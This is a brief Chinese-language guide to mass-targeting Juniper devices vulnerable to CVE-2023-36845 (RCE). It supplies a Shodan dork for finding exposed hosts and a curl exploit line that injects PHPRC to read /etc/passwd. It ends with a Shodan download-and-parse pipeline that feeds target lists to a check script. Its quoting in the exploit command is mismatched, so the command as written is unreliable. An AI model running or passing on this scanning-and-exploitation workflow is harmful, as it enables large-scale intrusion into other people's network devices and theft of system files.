Juniper-CVE-2023-36845-批量搜索

Juniper RCE（远程代码执行）CVE-2023-36845 是 Juniper 软件中发现的一个漏洞。该缺陷允许远程代码执行，意味着攻击者可以在无需物理访问设备的情况下在系统上运行任意代码。

如何查找：

Shodan dork：http.favicon.hash:2141724739

配合其他相关 dork（如 SSL 证书、组织名称等）使用，可进行更有针对性的搜索。

针对单个主机的利用：

curl -k https://$IP/about.php?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"’

自动化：

└─# shodan download Juniper 'http.favicon.hash:2141724739 ssl:domain.com’ #从 shodan 下载

└─# shodan parse Juniper.json.gz --fields ip_str,port >unfiltered_IP_Ports.txt

└─# awk '{print $1":"$2}' unfiltered_IP_Ports.txt >juniper-final.txt

└─# ./Juniper-RCE-check.sh -f juniper-final.txt